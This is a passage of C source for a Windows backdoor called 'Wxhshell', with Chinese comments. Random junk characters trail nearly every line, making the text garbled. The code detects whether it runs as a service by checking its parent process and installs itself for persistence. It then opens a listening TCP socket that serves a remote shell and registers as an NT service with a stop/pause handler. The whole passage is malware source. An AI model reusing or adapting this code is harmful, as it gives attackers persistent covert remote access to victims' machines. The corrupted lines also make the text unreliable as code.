ULONG UniqueProcessId; XoaB X2
ULONG InheritedFromUniqueProcessId; f&Bu_r
} PROCESS_BASIC_INFORMATION; E0}jEl/{
bd2"k;H<o
PROCNTQSIP NtQueryInformationProcess; `1KZ14K
;o#R(m@Lx
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eRa1eRgP
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b&!7(Q[ sT
Au,}5=+`P
HANDLE hProcess; '@iS5Fni
PROCESS_BASIC_INFORMATION pbi; ~J6c1jG
dt
4_x1
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HzT"{N9
if(NULL == hInst ) return 0; !58-3F%P
w7"Z@$fs
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Cj}1 )qWq
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @W^A%6"j
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6;GL>))'
Oav^BhUO
if (!NtQueryInformationProcess) return 0; 7@m
t\]CdH`+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c;ELAns>
if(!hProcess) return 0; ('xu2 ;<
%9=^#e+pE
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Mnaoh:z
=1%3".
"n@
CloseHandle(hProcess); "@E1^
ZSMOq4Y 9
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +MeEy{;
if(hProcess==NULL) return 0; 5sx-u!7
l0b Y
HMODULE hMod; xk}YeNVj
char procName[255]; ^ ;$f-e
unsigned long cbNeeded; @B~/0
9
z$`=7 afp
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `yHV10
VD.p"F(]
CloseHandle(hProcess); #Qy*zU#9
gNzQ"W=
if(strstr(procName,"services")) return 1; // 以服务启动 u/cL[_Q
'\dFhYs{*
return 0; // 注册表启动 Om{[ <tL
} Lqbu]
4fZ$&)0&
// 主模块 3U@p
int StartWxhshell(LPSTR lpCmdLine) ZQnJTS+ Rd
{ +*d,non6v
SOCKET wsl; }jfU qqFd
BOOL val=TRUE; n\.K:t[:
int port=0; Sy'/%[+goJ
struct sockaddr_in door; )AqM?FE4R
)-[ 2vhXz
if(wscfg.ws_autoins) Install(); -(qoz8H5
5}~*,_J2Z
port=atoi(lpCmdLine); C_PXh>H]'
netKt_
if(port<=0) port=wscfg.ws_port; d^Ra1@0"q2
{{[).o/
WSADATA data; /[GOs*{zB
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ay'=M`uO_
)Bl% {C
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 4G@vO{$
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bUAjt>+
door.sin_family = AF_INET; {mw,U[C
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Fx0K.Q2Y0
door.sin_port = htons(port); &EmxSYL>
~VUNN[
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H<%7aOwO2
closesocket(wsl); rc*3k
return 1; ]BP/KCjAI<
} 8S@ ~^D
sG0cN;I]t
if(listen(wsl,2) == INVALID_SOCKET) { &EXql']
closesocket(wsl); sryujb.,
return 1; 5xLuu KG
} zEF3B
Wxhshell(wsl); 20zIO.&o
WSACleanup(); emw3cQ
;r-
\h1iA'
return 0; >Bskw2
uc=-+*D'I
} KTBsH; 6
}.o
rfW
// 以NT服务方式启动 R7x4v
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /qo. Z
{ ;r^8In@6
DWORD status = 0; 8\. #
DWORD specificError = 0xfffffff; -:a
9'dT
lx U}HM
serviceStatus.dwServiceType = SERVICE_WIN32; 'e7<&wm ia
serviceStatus.dwCurrentState = SERVICE_START_PENDING; l
K}('7\
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eO(VSjo'`
serviceStatus.dwWin32ExitCode = 0; UG&/0{j5XV
serviceStatus.dwServiceSpecificExitCode = 0; 1reJ7b0
serviceStatus.dwCheckPoint = 0; lb{*,S
serviceStatus.dwWaitHint = 0; K$#(\-M
2Ev~[Hb.
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rbO9NRg>
if (hServiceStatusHandle==0) return; _s|C0Pt
Gow_a'
status = GetLastError(); IA$:r@QNx8
if (status!=NO_ERROR) ]*%0CDY6`N
{ 2[r#y1ro
serviceStatus.dwCurrentState = SERVICE_STOPPED; `cy_@Z5A
serviceStatus.dwCheckPoint = 0; k/j]*~"
serviceStatus.dwWaitHint = 0; oSx]wZZ
serviceStatus.dwWin32ExitCode = status; t$]lK6
serviceStatus.dwServiceSpecificExitCode = specificError; y''`73U"
SetServiceStatus(hServiceStatusHandle, &serviceStatus); "CT'^d+
return; <[ 8at6;
} ~U~KUL|
%^2LTK(P
serviceStatus.dwCurrentState = SERVICE_RUNNING; ,Tvk&<!0
serviceStatus.dwCheckPoint = 0; => )l6**UE
serviceStatus.dwWaitHint = 0; yJppPIW^
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zp!{u{
} XcR2]\
:nCGqg
// 处理NT服务事件,比如:启动、停止 s34{\/'D+
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z8z.Xn
{ vCFMO3
switch(fdwControl) iNe;h|
{ {tOu+zy
case SERVICE_CONTROL_STOP: rNO'0Ck=
serviceStatus.dwWin32ExitCode = 0; |k^'}n
serviceStatus.dwCurrentState = SERVICE_STOPPED; vfK^^S
serviceStatus.dwCheckPoint = 0; ;Lu%v%BM
serviceStatus.dwWaitHint = 0; l"f.eo0@7
{ i!*w'[G->Y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); O7g
?x3
} 0x4Xs
return; GXr9J rs.e
case SERVICE_CONTROL_PAUSE: 3PIZay
serviceStatus.dwCurrentState = SERVICE_PAUSED; (]w_}E]N
break; D\}^<HW
case SERVICE_CONTROL_CONTINUE: g1@zk$
serviceStatus.dwCurrentState = SERVICE_RUNNING; SGXXv
break; g"EvMv&
case SERVICE_CONTROL_INTERROGATE: sG=D(n1
break; Nv,1F
}; ^vn8s~#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 07[A&